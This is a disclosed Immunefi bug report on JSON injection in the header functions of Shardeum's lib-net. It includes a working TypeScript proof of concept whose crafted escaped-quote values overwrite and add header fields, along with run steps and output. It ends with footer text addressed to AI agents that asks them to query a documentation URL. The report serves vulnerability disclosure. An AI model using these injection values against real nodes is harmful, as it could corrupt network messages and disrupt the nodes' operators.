# #39463 \[BC-Insight] \`multiSendWithHeader\` and \`sendWithHeader\` have JSON injection vulnerability

**Submitted on Jan 30th 2025 at 17:30:22 UTC by @Pig46940 for** [**Audit Comp | Shardeum: Core III**](https://immunefi.com/audit-competition/audit-comp-shardeum-core-iii)

* **Report ID:** #39463
* **Report Type:** Blockchain/DLT
* **Report severity:** Insight
* **Target:** <https://github.com/shardeum/lib-net/tree/bugbounty>
* **Impacts:**
  * Shutdown of greater than 10% or equal to but less than 30% of network processing nodes without brute force actions, but does not shut down the network

## Description

## Brief/Intro

The `multiSendWithHeader` and `sendWithHeader` functions are vulnerable to JSON injection due to a lack of format validation in the Rust component (`header_v1.rs`). This security gap exposes the system to potential exploitation.

## Vulnerability Details

Both `multiSendWithHeader` and `sendWithHeader` rely on the `AppHeader`, which in turn uses the `send_with_header` function from the Rust component. The function's reliance on manual JSON string formatting within `header_v1.rs` without proper escaping introduces a significant risk. This oversight can be easily exploited, enabling malicious JSON injection.

## Impact Details

This vulnerability allows attackers to manipulate header information, potentially overwriting existing data or injecting arbitrary header values. The ability to modify headers poses a risk to the integrity and security of the system, making this issue urgent to address.

## References

For more technical details:

* [Index.ts - Line 324](https://github.com/shardeum/lib-net/blob/c4fc7d161db5d8ef1efdc0552c36eccf79efa596/src/index.ts#L324)
* [header\_v1.rs - Lines 117C1-L127C1](https://github.com/shardeum/lib-net/blob/c4fc7d161db5d8ef1efdc0552c36eccf79efa596/shardus_net/src/header/header_v1.rs#L117C1-L127C1)

## Proof of Concept

## Proof of Concept

This vulnerability allows an attacker to demonstrate how JSON injection can overwrite existing header data and inject arbitrary, unintended values.

### PoC code

```type
import { Command } from 'commander'
import { Sn } from '../.'
import { AppHeader, Sign } from '../build/src/types'

const setupLruSender = (port: number, lruSize: number) => {
  return Sn({
    port,
    address: '127.0.0.1',
    crypto: {
      signingSecretKeyHex:
        'c3774b92cc8850fb4026b073081290b82cab3c0f66cac250b4d710ee9aaf83ed8088b37f6f458104515ae18c2a05bde890199322f62ab5114d20c77bde5e6c9d',
      hashKey: '69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc',
    },
    senderOpts: {
      useLruCache: true,
      lruSize: lruSize,
    },
    headerOpts: {
      sendHeaderVersion: 1,
    },
  })
}

const main = async () => {


  console.log('Starting cli...')

  const program = new Command()
  program.requiredOption('-p, --port <port>', 'Port to listen on')
  program.option('-c, --cache <size>', 'Size of the LRU cache', '2')
  program.parse(process.argv)

  const port = program.port.toString()
  const cacheSize = program.cache.toString()

  console.log(`Starting listener on port ${port} with cache size ${cacheSize}`)

  const sn = setupLruSender(+port, +cacheSize)

  const input = process.stdin


  /*
Send arbitrary JSON injection data.
This can overwrite existing JSON data and add arbitrary data.
  */
  input.addListener('data', async (data: Buffer) => {
    const inputs = data.toString().trim().split(' ')
    if (inputs.length === 3) {
      const message = inputs[2]
      await sn.sendWithHeader(
        +inputs[1],
        '127.0.0.1',
        { message, fromPort: +port },
        {
          compression: 'Brotli',
          tracker_id: "\",\"inject\":\"This is arbitrary data",
          verification_data: "\",\"tracker_id\":\"po\",\"message_length\":\"99\",\"verification_data\":\"po",
          sender_id: "\",\"uuid\":\"po\",\"compression\":\"po\",\"sender_id\":\"po",
        },
        1000,
        (data: unknown, header?: AppHeader) => {
          console.log('onResp: Received response:', JSON.stringify(data, null, 2))
          if (header) {
            console.log('onResp: Received header:', JSON.stringify(header, null, 2))
          }
        }
      )
      console.log('Message sent')
    } else if (inputs.length === 2) {
      sn.evictSocket(+inputs[1], '127.0.0.1')
      console.log('Cache cleared')
    } else {
      console.log('=> send <port> <message>')
      console.log('=> clear <port>')
    }
  })

  sn.listen(async (data: any, remote, respond, header, sign) => {
    if (data && data.message === 'ping') {
      console.log('Received ping from:', data.fromPort)
      console.log('Ping header:', JSON.stringify(header, null, 2))
      // await sleep(10000)
      return respond(
        { message: 'pong', fromPort: +port },
        {
          compression: 'Brotli',
        }
      )
    }
    if (data && data.message === 'pong') {
      console.log('Received pong from:', data.fromPort)
    }
    if (header) {
      console.log('Received header:', JSON.stringify(header, null, 2))
    }
    if (sign) {
      console.log('Received signature:', JSON.stringify(sign, null, 2))
    }
  })
}

const sleep = (ms: number) => {
  return new Promise((resolve) => setTimeout(resolve, ms))
}

main().catch((err) => console.log('ERROR: ', err))
```

### How to run

#### Installation

```bash
$ git clone https://github.com/shardeum/lib-net.git
$ cd lib-net
$ npm install
$ npm build
$ npm install -g ts-node
```

#### Run Server

Create PoC code into `lib-net/test` as a `test_poc.ts`

* Terminal1\
  Sending server

```bash
$ ts-node test/test_poc.ts -p 3000 -c 2
```

* Terminal 2\
  Receiving server

```bash
$ ts-node test/test_poc.ts -p 3001 -c 2
```

#### Send header

Send JSON injection data to Terminal2

* terminal1\
  Send data to the terminal2

```
send 3001 poc
```

#### Output

Not only can it overwrite existing data, but it can also add arbitrary JSON data using escaped string data.

```
Received header: {
  "uuid": "po", // Overwrited
  "message_length": "99", // Overwrited
  "sender_id": "po", // Overwrited
  "compression": "po", // Overwrited
  "tracker_id": "po", // Overwrited
  "inject": "This is arbitrary data", // Added arbitrary data
  "verification_data": "po"  // Overwrited
}
Received signature: {
  "owner": "8088b37f6f458104515ae18c2a05bde890199322f62ab5114d20c77bde5e6c9d",
  "sig": "40e7f4b408298babd24ceff1d66594692dcb8070a0826db9139d8f76a6efcecbedf1996b0de423eb55ab261e5bddedd08fb176c6d50e000f462844f74a27b90915023cfee8c590b6e7ba0d3d6dc8cb185e63d519fbd781e937b17292396bf0f0"
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/shardeum-core-iii/39463-bc-insight-multisendwithheader-and-sendwithheader-have-json-injection-vulnerability.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
